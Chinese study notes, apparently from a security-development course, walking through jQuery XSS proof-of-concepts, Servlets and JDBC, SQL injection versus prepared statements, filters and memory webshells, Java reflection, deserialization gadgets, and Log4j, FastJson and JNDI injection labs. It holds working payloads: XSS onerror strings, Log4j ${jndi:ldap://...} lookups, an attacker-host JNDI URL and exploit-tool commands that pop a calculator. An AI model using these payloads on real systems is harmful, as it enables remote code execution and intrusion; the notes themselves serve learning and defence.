<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x onerror=alert('XSS-PoC2')>">
</xmp>
<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x onerror=alert('XSS-PoC3')></style>
</xmp>
<div id="div"></div>
<script>
// 显示当前使用的jQuery版本
document.write('<p>当前使用jQuery版本: ' + $.fn.jquery + '</p>');
</script>
</body>
</html>
3.4.1


test函数,jq是true,进入if
jQuery 的 .html() 方法在将字符串变成真实的DOM元素并插入到div里之前,必须先对它进行解析
$('#div').html(sanitizedHTML) 这行代码的作用就是把 sanitizedHTML 变量里的字符串(也就是 <style><style /><img src=x onerror=alert('XSS-PoC1')>)设置到 <div id="div"></div> 这个容器里
由于解析错误,<img src=x onerror=alert('XSS-PoC1')> 这段代码没有被当作纯文本,而是被当作一个真实的、需要执行的HTML标签插入了到DOM中。
浏览器渲染引擎看到了这个 <img> 标签,就会去加载它的 src
因为 src="x" 是一个无效的地址,图片加载失败
图片加载失败会触发 onerror 事件,于是 alert('XSS-PoC1') 这段JavaScript代码就被执行了,弹窗就出现了

传入之后的iv是
<div id="div">
</div>
- jQuery的解析器看到
<style><style />时,犯了一个关键错误。 - 它认为
<style />是一个自闭合标签,等同于<style></style>。 - 解析器认为第一个
<style>标签已经被闭合了。 - 于是,它把接下来的
<img>标签解析到了<style>标签之外。 - 浏览器看到这个独立的
<img>标签,就会去加载src="x",加载失败触发onerror,执行alert。

3.5.1
div是
<div id="div">
<style><style /><img src=x onerror=alert('XSS-PoC1')>
</style></div>
- jQuery团队修改了解析器逻辑。
- 新解析器不再将
<style />视为自闭合标签而提前结束样式块。 - 它将整个
<style /><img src=x onerror=alert('XSS-PoC1')>都视为<style>标签的文本内容。 - 在HTML中,
<style>标签内的内容不会被浏览器当作HTML元素解析,只会被当作文本。 - 因此,
<img>标签永远不会被浏览器当作真实的图像元素处理,onerror事件自然也不会触发。

第32天:安全开发-JavaEE应用&Servlet路由技术&JDBC&Mybatis数据库&生命周期
#JavaEE-HTTP-Servlet&路由&周期
参考:https://blog.csdn.net/qq_52173163/article/details/121110753
1、解释
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。本章内容详细讲解了 web 开发的相关内容以及 servlet 相关内容的配置使用,是JAVAEE 开发的重中之重。
2、创建和使用 Servlet
-创建一个类继承 HttpServlet
-web.xml 配置 Servlet 路由
-WebServlet 配置 Servlet 路由
-写入内置方法(init service destroy doget dopost)
3、Servlet 生命周期
见图
4、处理接受和回显
● HttpServletRequest 是 ServletRequest 的子接口
getParameter(name) — String 通过 name 获得值
getParameterValues — String[ ] 通过 name 获得多值
● HttpServletResponse 是 ServletResponse 的子接口
setCharacterEncoding() 设置编码格式
setContentType() 设置解析语言
getWriter() 获得一个 PrintWriter 字符输出流输出数据
PrintWriter 接受符合类型数据
#JavaEE-数据库-JDBC&Mybatis&库
-原生态数据库开发:JDBC
参考:https://www.jianshu.com/p/ed1a59750127
JDBC(Java Database connectivity): 由 java 提供,用于访问数据库的统一 API接口规范.数据库驱动: 由各个数据库厂商提供,用于访问数据库的 jar 包(JDBC 的具体实现),遵循 JDBC 接口,以便 java 程序员使用!
1、下载 jar
https://mvnrepository.com/
2、引用封装 jar
创建1ib目录,复制导入后,添加为库
3、注册数据库驱动
Class.forName("com.mysql.jdbc.Driver");
4、建立数据库连接
string url ="jdbc:mysql://localhost:3306/demo01";
Connection connection=DriverManager.getConnection (url,"x","x");
5、创建statement执行SQL
Statement statement=connection.createStatement();
ResultSet resultSet=statement.executeQuery(sql);
6、结果Resultset进行提取
while(resultSet.next()){
int id = resultSet.getInt("id");
String page_title = resultSet.getString("page title");
......
}
-框架数据库开发:Mybatis
Mybatis是一款优秀的持久层框架,避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集的过程,减少了代码的冗余,减少程序员的操作。
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等框架库:MyBatis,SpringMVC,SpringBoot,shiro,Log4j,FastJson等
技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
安全:原生开发安全,第三方框架安全,第三方库安全等,待补充
JavaEE-HTTP-Servlet&路由&周期
示例文件
IDEA新建项目



自动生成文件的目录,其中的主要文件是在src下面的main和test里面

不做修改尝试运行代码


点击Hello Servlet显示

创建和使用 Servlet
-创建一个类继承 HttpServlet
新建Java类,IndexServlet

继承HttpServlet

添加doGet,当客户端(如浏览器)向服务器发送一个 HTTP GET 请求时,这个请求最终会被路由到对应的 Servlet 上。如果该 Servlet 类中重写了 doGet 方法,那么服务器容器(如 Tomcat, Jetty, WildFly)就会自动调用这个 doGet 方法来处理这个请求

先输出看看是什么

-web.xml 配置 Servlet 路由
在webapp里面的WEB-INF的web.xml文件中配置
名字自己取,class复制IndexServlet的引用


- 作用:告诉服务器,有一个新的服务员来了。
<servlet-name>index</servlet-name>:给他起个花名或者工号,叫index。这个名字是为了方便内部管理,你自己喜欢叫什么都可以(比如叫aaa也行,但一般会起有意义的名字)。<servlet-class>...</servlet-class>:这是这个服务员的身份证,上面写着他的全名和家庭住址(在Java里叫全限定类名)。这样服务器就能根据这个地址精确地找到他这个人(这个类)。
简单说:这一段就是登记服务员信息,给他办了个工牌,工牌上的名字叫 index,指向真正干活的人 com.example.demo02.IndexServlet。

- 作用:告诉服务器,这个服务员应该在哪个窗口接待客人。
<servlet-name>index</servlet-name>:这里喊的是刚才那个花名叫index的服务员。这个名字必须和上面的<servlet-name>一模一样,否则就喊错人了。<url-pattern>/index</url-pattern>:这就是给他安排的工位号或者窗口号。现在,所有访问这个“窗口”的客人,都会由他来接待。
简单说:这一段就是给那个叫 index 的服务员安排了一个工作岗位,岗位地址是 /index。
当在浏览器里输入网址:http://网站地址/项目名/index,于是,IndexServlet 里的 doGet 或 doPost 方法就开始工作,为客人生成响应

所以这个时候运行之后访问/index就会触发IndexServlet里面的doGet然后输出-------doGet,运行之后apache会自动生成文件在目录下

访问index


System.out.println("-------doGet");
这个是显示到调试器里面,下面是有回显

运行,url后门加上name值

这个是Get,还有POST


还有很多其他的

-WebServlet 配置 Servlet 路由
这个方法就不需要去web.xml文件配置了,只需要在class上面加上
@WebServlet("/new")

运行

-写入内置方法(init service destroy doget dopost)

了解内置函数的执行顺序

每一个都写一个输出来看执行顺序
init(ServletConfig config)
- 调用时机:在Servlet被第一次创建时调用,且只调用一次。
- 作用:用于执行一次性初始化工作。比如加载配置文件、建立数据库连接池等。
- 注意:通常我们不会直接重写这个方法,而是重写无参数的
init()方法,因为ServletConfig的初始化工作父类已经做好了。
service(ServletRequest req, ServletResponse res)
- 调用时机:每次请求到达时,容器首先调用这个方法。
- 作用:这是最顶层的服务方法,接收通用的请求和响应对象。它的主要任务是将通用的
ServletRequest/ServletResponse转换为HTTP专用的HttpServletRequest/HttpServletResponse,然后调用下一个service方法。
service(HttpServletRequest req, HttpServletResponse resp)
- 调用时机:被上一个
service方法自动调用。 - 作用:这是HTTP专用的服务方法。它会检查请求的方法类型(
req.getMethod()),如果是GET就调用doGet(),如果是POST就调用doPost(),等等。这是请求分发的核心枢纽。
doGet()/doPost()
- 调用时机:被上一个
service方法根据请求类型调用。 - 作用:这才是真正写业务逻辑的地方。你平时重写的就是这两个方法。
destroy()
- 调用时机:在Servlet被销毁之前调用(通常是在服务器关闭或项目卸载时),且只调用一次。
- 作用:用于执行清理工作。比如关闭数据库连接、释放资源等。
JavaEE-数据库-JDBC&Mybatis&库
下载jar文件之后创建lib目录存放

右键添加为库
注册数据库驱动

建立数据库连接

创建Statement执行SQL

在这里的sql查询语句如果是拼接的写法也很难产生sql注入,因为有预编译
什么是预编译?
想象一下你要去餐厅吃饭:
- 普通 Statement:就像每次点菜都重新写一份完整的菜单:"我要一份鱼香肉丝"。
- 预编译 PreparedStatement:餐厅有个预制好的菜单模板:"我要一份______",你只需要在空白处填上菜名。
在JDBC中,PreparedStatement 就是一个带有占位符 ? 的SQL模板。
代码对比
1. 不使用预编译(Statement - 有风险)
String username = request.getParameter("username"); // 用户输入:'admin' OR '1'='1'
String password = request.getParameter("password");
// 直接拼接SQL字符串 - 危险!
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
最终生成的SQL:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '任意密码'
由于 OR '1'='1' 永远为真,黑客就能绕过登录
2. 使用预编译(PreparedStatement - 安全)
String username = request.getParameter("username"); // 即使用户输入:'admin' OR '1'='1'
String password = request.getParameter("password");
// 使用带占位符的SQL模板
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
// 为占位符设置值
pstmt.setString(1, username); // 第一个问号
pstmt.setString(2, password); // 第二个问号
ResultSet rs = pstmt.executeQuery();
无论用户输入什么,最终执行的SQL都是:
SELECT * FROM users WHERE username = '\'admin\' OR \'1\'=\'1\'' AND password = '任意密码'
注意:用户的恶意输入被当成了一个完整的字符串值,而不是SQL代码的一部分
- 编译与执行分离:
PreparedStatement先将SQL模板(SELECT * FROM users WHERE username = ? AND password = ?)发送给数据库进行编译。- 数据库知道这是一个查询,其中有两个参数需要后续传入。
- 数据作为字面值:
- 当你调用
pstmt.setString(1, username)时,即使用户输入了' OR '1'='1,数据库也会把它当作一个完整的字符串。 - 它不会再次编译SQL,只是简单地将这个字符串值"填入"预先编译好的查询模板中。
- 当你调用
- 自动转义:
- PreparedStatement 会自动处理特殊字符(如单引号
'),会在它们前面加上转义符\,确保它们被当作数据的一部分,而不是SQL语法。
- PreparedStatement 会自动处理特殊字符(如单引号
第33天:安全开发-JavaEE应用&SQL预编译&Filter过滤器&Listener监听器&访问控制
#JavaEE-预编译-SQL
预编译 SQL 语句并执行,预防 SQL 注入问题
String safesql="select * from news where id=?";
PreparedStatement
preparedStatement=connection.prepareStatement();
preparedStatement.setString(1,s);
ResultSet resultSet=preparedStatement.executeQuery();
#JavaEE-过滤器-Filter
Filter 被称为过滤器,过滤器实际上就是对 Web 资源进行拦截,做一些处理后再交给下一个过滤器或 Servlet 处理,通常都是用来拦截 request 进行处理的,也可以对返回的 response 进行拦截处理。开发人员利用 filter 技术,可以实现对所有 Web 资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
1、创建过滤器
2、过滤器内置方法
init doFilter destroy
3、过滤器触发流程
@WebFilter("/xss")
<filter>
<filter-name>xssFilter</filter-name>
<filter-class>com.example.filter.xssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>xssFilter</filter-name>
<url-pattern>/xss</url-pattern>
</filter-mapping>
4、过滤器安全场景
Payload 检测,权限访问控制,红队内存马植入,蓝队清理内存马等
内存马参考:https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw
#JavaEE-监听器-Listen
参考:https://blog.csdn.net/qq_52797170/article/details/124023760 -监听 ServletContext、HttpSession、ServletRequest 等域对象创建和销毁事件
-监听域对象的属性发生修改的事件
-监听在事件发生前、发生后做一些必要的处理
1、创建监听器
2、监听器内置方法
3、监听器触发流程
@WebListener
<listener>
......
</listener>
4、监听器安全场景代码审计中分析执行逻辑触发操作,后门内存马植入等



JavaEE-预编译-SQL
sql的拼接写法



预编译安全写法


这里的原理上一篇结尾写了一点
JavaEE-过滤器-Filter
Xss过滤
快捷键:alt+insert,显示

新建目录Filter,文件XssFilter.java

注意路由是@WebFilter,接口Filter,三个方法:初始化、过滤、销毁,运行

还没有访问test的时候就已经初始化了

doFilter是在访问了路由之后才会用的方法


加上放行请求和回复


xss拦截:

当输入xss语句的时候


被过滤了,访问一次就过滤一次

如果是正常的语句就可以放心到TestServlet里面然后执行
后台登录Cookie过滤
AdminServlet.java:

AdminFilter.java:

也是有初始化、过滤加销毁,用Cookie验证
运行之后访问admin会显示Cookie值和非法


去浏览器加上Cookie

再次访问

进入了
内存马
1. 常规后门
想象一下,黑客攻入了一台服务器(比如一个网站服务器)。
- 是什么:他会在服务器的硬盘上上传一个后门文件,比如一个特殊的
shell.php或hack.exe。 - 如何工作:这个文件本身就是一个完整的、独立的恶意程序。攻击者通过访问这个文件的网址或执行它,就能获得服务器的控制权。
- 特点:
- 有文件实体:在硬盘上真实存在,看得见摸得着。
- 持久化:服务器不重启,它就一直存在。
- 易被发现:安全软件(杀毒软件、Webshell扫描工具)可以通过扫描硬盘文件,很容易地发现并删除它。
2. 内存马
黑客攻入服务器后,换了一种更高级的思路。
- 是什么:他不上传任何文件,而是利用服务器上正在运行的某个合法程序(比如 Tomcat、Weblogic、Spring 等Java应用)的漏洞或功能,将恶意代码直接注入到该程序的内存中。
- 如何工作:这段恶意代码会伪装成服务器的一个合法部件,比如一个Filter(过滤器)、一个Servlet、一个Controller等。当外部有特定请求发来时,这个“内鬼”部件就会激活,执行攻击者的命令。
- 特点:
- 无文件实体:它只存在于服务器的内存(RAM) 里,硬盘上找不到任何对应的恶意文件。
- 隐蔽性极高:传统的文件扫描手段完全无效,因为根本就没文件可扫。
- 非持久化:一旦服务器重启,内存中的数据全部清空,这个内存马也就“死”了。但高手攻击者会想办法让它在重启后能自动重新注入。
- 检测困难:需要分析内存快照或监控进程的异常行为才能发现,门槛很高。
JavaEE-监听器-Listen
CSession文件,用来创建Session

DSession文件,用来销毁Session:

监听器:,注意@WebListener不需要路由

运行

还没有访问cs和ds监听器就开启了,访问cs

创建了Session,访问ds

也就是创建和销毁都监听到了
如果一直访问cs的话只会一直创建Session但是监听只有一次

第34天:安全开发-JavaEE应用&反射机制&攻击链&类对象&成员变量方法&构造方法
1、什么是 Java 反射
参考:https://xz.aliyun.com/t/9117
Java 提供了一套反射 API,该 API 由 Class 类与 java.lang.reflect 类库组成。 该类库包含了 Field、Method、Constructor 等类。
对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。
2、为什么要用到反射
参考:https://xz.aliyun.com/t/9117
其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可)
3、反射机制应用
开发应用场景:
Spring 框架的 IOC 基于反射创建对象和设置依赖属性。
SpringMVC 的请求调用对应方法,也是通过反射。
JDBC 的 Class#forName(String className)方法,也是使用反射。
安全应用场景:
构造利用链,触发命令执行
反序列化中的利用链构造
动态获取或执行任意类中的属性或方法
动态代理的底层原理是反射技术
rmi 反序列化也涉及到反射操作
#Java-反射-Class 对象类获取
//1、根据类名:类名.class
Class userClass = User.class;
//2、根据对象:对象.getClass()
User user = new User();
Class aClass = user.getClass();
//3、根据全限定类名:Class.forName("全路径类名")
Class aClass1 = Class.forName("com.example.reflectdemo.User");
//4、通过类加载器获得 Class 对象:
//ClassLoader.getSystemClassLoader().loadClass("全路径类名");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class aClass2 =
clsload.loadClass("com.example.reflectdemo.User");

Java-反射-Class 对象类获取
四种方法都可以获取

Java-反射-Field 成员变量类获取

先要获取Class对象再去获取成员变量
Field[] getfields():返回所有公共成员变量对象的数组

获取到了public的name和age
Field[] getDeclaredFields():返回所有成员变量对象的数组

Field getField(String name):返回单个公共成员变量对象

public的可以获取,private和protected不行

Field getDeclaredField(String name):返回单个成员变量对象

这个所有的都可以
获取公共变量的值

设置值

Java-反射-Method 成员方法类获取

Method[]getMethods():返回所有公共成员方法对象的数组,包括继承的

包括内置的
Method[]getDeclaredMethods():返回所有成员方法对象的数组,不包括继承的

Method getMethod(String name,Class<?>.. parameterTypes):返回单个公共成员方法对象

私有的不行

Method getDeclaredMethod(String name, Class<?>.. parameterTypes):返回单个成员方法对象

操作
public直接操作

私有关闭Java访问检查

Java-反射-Constructor 构造方法类获取

Constructor<?>[]getConstructors():返回所有公共构造方法对象的数组

Constructor<?>[]getDeclaredConstructors():返回所有构造方法对象的数组

Constructor<T>getConstructor(Class<?>.. parameterTypes):返回单个公共构造方法对象

获取的是一个String name的构造方法

不能获取私有

Constructor<T>getDeclaredConstructor(Class<?>.. parameterTypes):返回单个构造方法对象

获取所有的
操作

Java-反射-不安全命令执行&反序列化链
原生对象调用

运行调用计算器出来
第三方调用
通过反射获取 Runtime 并调用 exec("calc.exe")

先看成员方法
exec有:

getRuntime是:


运行后启动计算器
就是学会怎么调用其他jar包里面的方法
第35天:安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载
1、序列化与反序列化
序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象
2、为什么有序列化技术
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。
3、几种创建的序列化和反序列化协议
• JAVA 内置的 writeObject()/readObject()
• JAVA 内置的 XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson
4、为什么会出现反序列化安全问题
内置原生写法分析
• 重写 readObject 方法
• 输出调用 toString 方法
5、反序列化利用链
(1) 入口类的 readObject 直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用 (4) 构造函数/静态代码块等类加载时隐式执行
#Java-原生使用-序列化&反序列化
//进行序列化对象并写入文件 ser.txt
public static void serializeTest(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.txt"));
oos.writeObject(obj);

什么是学列化和反学列化
为什么会产生安全问题?
可能的形式
JAVA原生反序列化漏洞成因
Java序列化和反序列化基础
编写一个可以序列化的类
如何序列化类
如何反序列化类
serialVersionUlD
Java反射
反射的作用
获取字节码Class对象的三种方式
Class对象
Field
Constructof
Method
获取类名
案例
java代理
静态代理
动态代理
Java类的动态加载
javac原理
类加戟过程
动态类加载方法
Class.forname
ClassLoader
漏洞利用相关类
URLClassLoader
defineclass
unsafe
Map集合
Map集合类型
Map接口
Map使用
Java-原生使用-序列化&反序列化
✅ 什么是序列化(Serialization)
- 定义:把 对象(Object) 转换成 字节流(Byte Stream) 的过程。
- 目的:对象在内存里是复杂的数据结构,不能直接保存到文件或通过网络传输。序列化就是“打包”对象,让它变成一串可以保存/传输的字节。
- 比喻:就像把一份快递(对象)装进纸箱(字节流),这样才能寄出去(保存/传输)。
UserDemo

SerializableDemo

其中
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
就是把 UserDemo 对象序列化,写进文件 ser.txt
运行之后产生文件ser.txt


ser.txt就是序列化的字节流数据
✅ 什么是反序列化(Deserialization)
- 定义:把 字节流(Byte Stream) 重新转换成 对象(Object) 的过程。
- 目的:读取已经保存到文件或通过网络接收到的对象数据,并恢复成原来的 Java 对象。
- 比喻:就像收到快递(字节流),把纸箱拆开,又能拿到原来的物品(对象)。
DeserialiableDemo

Java-安全问题-重写方法&触发方法
在UserDemo里面重写readObject方法

这个时候运行反序列会执行命令启动计算器
📌 正常情况下
- 序列化
ObjectOutputStream.writeObject(obj)- 把对象的属性(name, age, gender 等)写入文件
ser.txt。
- 反序列化
ObjectInputStream.readObject()- Java 内部会按照类的结构去恢复对象。
- 如果类里没定义
readObject,就调用默认的机制(按属性一个个读回来)。
📌 这种情况
-
序列化 UserDemo
- 一切正常,
ser.txt文件里保存了对象的状态。
- 一切正常,
-
反序列化 UserDemo
-
ObjectInputStream.readObject()内部会去找类里的readObject(ObjectInputStream ois)方法。 -
你自己写了一个重写的
readObject,而且里面有恶意代码:Runtime.getRuntime().exec("calc"); -
于是,当反序列化
UserDemo时,并不会仅仅“恢复数据”,而是执行了你写的readObject,从而运行系统命令(比如弹计算器)。
-
📌 本质原因
- Java 反序列化机制 信任对象自身的实现。
- 如果攻击者能传入一个恶意类(或者用现有类的链子触发恶意代码),反序列化时就会执行其中的恶意逻辑。
- 这就是 Java 反序列化漏洞 的原理。

加一个ois.defaultReadObject();的区别就是拿不拿原始数据
没加的执行之后是

加了的执行之后是

断点调试

在要进入ois.readObject();时

到了UserDemo里面重写的readObject方法中


执行了命令
toString
UserDemo的toString里面加上命令执行语句

然后反序列化的时候会有输出,输出调用的是UserDemo的toString方法

所以命令会被执行,如果反序列化没有输出那么就不会执行
Java-安全问题-可控其他类重写方法

漏洞原理:
1. 反序列化 HashMap 对象时,会调用 HashMap.readObject() 恢复数据。
2. readObject 内部会调用 putVal() 插入每个键值对。
3. putVal() 会计算键的 hashCode(),这里键是 URL。
4. URL.hashCode() 会触发 DNS 查询(副作用)。
5. 如果这里用其他类或方法触发系统命令,就可能导致 RCE 漏洞。
因此,只要反序列化不可信对象,就可能被利用。
上面的漏洞的前提是 readObject
readObject 是反序列化漏洞的主要触发点,因为它允许类在被反序列化时执行任意代码
第36天:安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入
Jar 仓库:
https://mvnrepository.com/
Maven 配置:
https://www.jb51.net/article/259780.htm
JNDI 注入:(见图)
Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提
供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
#Java-三方组件-Log4J&JNDI
Log4J:
Apache 的一个开源项目,通过使用 Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
Log4j-组件安全复现
1、Maven 引用 Log4j
2、接受用户输入值
3、Log4j 处理错误输入
4、利用 jndi-ldap 执行
Test:
String code="test";
String code="${java:os}";
logger.error("{}",code);
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
服务器:
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx
#Java-三方组件-FastJson&反射
FastJson:
在前后端数据传输交互中,经常会遇到字符串(String)与 json,XML 等格式相互转换与解析,其中 json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web 输出等各种应用场景中。FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和打包。

Java-三方组件-Log4J&JNDI
下载配置Maven:https://www.jb51.net/article/259780.htm
1、Maven 引用 Log4j

复制到项目里面的pom.xml文件中去

2、接受用户输入值

3、Log4j 处理错误输入

运行之后便会执行code得到

创建javaee项目,也是先引入Log4j之后新建文件利用日志

这个地方运行之后访问
http://localhost:8080/Log4JWebTest_war_exploded/Log4j?code=${java:os}
控制台就会显示win版本


4、利用 jndi-ldap 执行
就是用漏洞利用工具生成语句之后在url执行
条件:
开发源码中使用了漏洞组件如log4j
开发中使用组件的代码(触发漏洞代码)
可控变量去传递Payload实现攻击
利用工具生成payload,命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

ldap://127.0.0.1:1389/keunft
访问:
http://localhost:8080/Log4JWebTest_war/Log4j?code=$%7Bjndi:ldap://127.0.0.1:1389/keunft%7D
弹出计算器
Java-三方组件-FastJson&反射
Fastjson-组件安全复现
1、Maven引用Fastjson

2、创建需转换类对象User

3、使用Fastjson进行数据转换

4、数据转换(对象转Json,Json转对象)-对象转Json(带类型)

安全问题
新建Run类

用来执行计算器
我们把fastjson里面数据转对象的处理文件改成Run

执行之后就会执行计算器,发生在json转换成对象过程中
1. 背景:Fastjson 的功能设计
Fastjson 提供了一个特性:
- 当你调用
JSON.parseObject(jsonStr)时,如果 JSON 数据中包含@type字段,它会尝试根据@type的值 反射实例化对应的 Java 类,再把 JSON 的 key 映射到类的字段。
例如:
{
"@type":"org.example.User",
"age":18,
"name":"anaxa"
}
Fastjson 就会去加载 org.example.User 类,并创建一个对象。
这本来是个功能(多态反序列化),但安全角度来看,就是一个 潜在的反序列化攻击点。
2. 漏洞利用点
在代码中:
String test = "{\"@type\":\"org.example.Run\",\"age\":18,\"name\":\"anaxa\"}";
JSONObject jsonObject = JSON.parseObject(test);
- 攻击者可以 控制 JSON 输入(比如接口入参、API 请求体)。
- 攻击者就能指定
@type为某个类(如你写的org.example.Run)。 - 如果
Run类的构造方法或setter中包含恶意逻辑(比如执行Runtime.getRuntime().exec("calc")),那么在反序列化时就会被触发。
在真实攻击里,攻击者不会知道本地项目的类,但可以利用 JDK 自带的 gadget(比如 JdbcRowSetImpl)或者通过 远程加载类(JNDI via RMI/LDAP) 来执行任意代码 —— 这就是 Fastjson RCE。
第37天:安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类
思考明白:
什么是 jndi 注入
为什么有 jndi 注入
JDNI 注入安全问题
JDNI 注入利用条件
参考:https://blog.csdn.net/dupei/article/details/120534024
#JNDI 注入-RMI&LDAP 服务
JNDI 全称为 Java Naming and DirectoryInterface(Java 命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI 支持的服务主要有:DNS、
LDAP、CORBA、RMI 等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming
Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。javax.naming.InitialContext.lookup()
在 RMI 服务中调用了 InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在 LDAP 服务中调用了 InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
JNDI 远程调用-JNDI-Injection
基于工具自主定义(节省下述 2,4 步骤)
1、使用远程调用(默认端口 1389)
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
2、使用利用工具生成调用地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -

JNDI 注入-RMI&LDAP 服务
JNDI-Injection-Exploit-1.0-SNAPSHOT-all工具

执行调用出计算器
ldap://127.0.0.1:1389/keunft
使用漏洞利用工具生成的

ladp的返回显示:

rmi也可以

1. JNDI 是什么?
JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用来通过统一接口访问各种目录服务,比如:
- LDAP(轻量级目录访问协议)
- RMI(远程方法调用)
- DNS、CORBA 等
代码示例:
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://127.0.0.1:1389/something");
👉 这行代码的意思是:
去 127.0.0.1:1389 的 LDAP 服务里查找一个叫 something 的对象,并把它作为 Java 对象返回。
2. 正常用途
在企业开发里,JNDI 常用于:
- 查找数据库连接池(
java:comp/env/jdbc/MyDB) - 查找 JMS、EJB 等企业资源
本意是让应用动态从外部获取资源,而不是写死在代码里。
3. 漏洞利用点
漏洞就出在:JNDI lookup 不仅能返回已有对象,还能从远程服务器加载类并实例化。
流程大致如下:
- 受害者程序里有代码调用了
ctx.lookup("ldap://attacker.com:1389/evil")。- 在 Log4j 漏洞里,这个字符串来自用户输入的
${jndi:ldap://...}。
- 在 Log4j 漏洞里,这个字符串来自用户输入的
- 攻击者搭建一个 LDAP/RMI 服务器,返回一个“引用对象”(Reference)。
- 这个引用对象告诉 JVM:“你需要从某个 URL 下载一个字节码类,并实例化它。”
- 旧版本的 JDK(如 ≤8u191)会乖乖去下载攻击者提供的类文件,加载到内存并执行构造函数或静态块。
- 攻击者在类里写
Runtime.getRuntime().exec("calc")→ 目标机器执行命令。
- 攻击者在类里写
4. 影响范围
- 受害条件:
- 程序里存在
JNDI lookup,且 lookup 的地址可控(比如日志、URL 参数传进去)。 - JDK 版本允许从远程加载类。
- 程序里存在
- 修复措施:
- 新版 JDK(>=8u191,>=11.0.1)默认禁止远程代码加载。
- Log4j 2.15+ 默认禁用了 JNDI lookup。
5. 写的 Demo 解释
ini.lookup("rmi://127.0.0.1:1099/sm4dgh");
这会去访问本地的 RMI 注册中心(1099端口),请求一个名为 sm4dgh 的对象。
- 如果攻击者在
127.0.0.1:1099上运行了恶意 RMI 服务,就会返回一个恶意对象/类。 - 旧 JDK 会加载并执行 → 触发漏洞。
marshalsec-0.0.3-SNAPSHOT-all工具
这个和上一个不一样的就是这个是自己编译恶意class文件,上一个就是自己生成
编写一个恶意类,这里注意包,要是写在这个包里面的话后门写的语句会很长,因为 JVM 在通过 JNDI + marshalsec 去加载时,不是单纯“下载文件”,它会校验类名和路径是否匹配,我们直接在src目录写一个文件

编译得到class文件,放在网站的目录里面,访问确定可以下载
命令
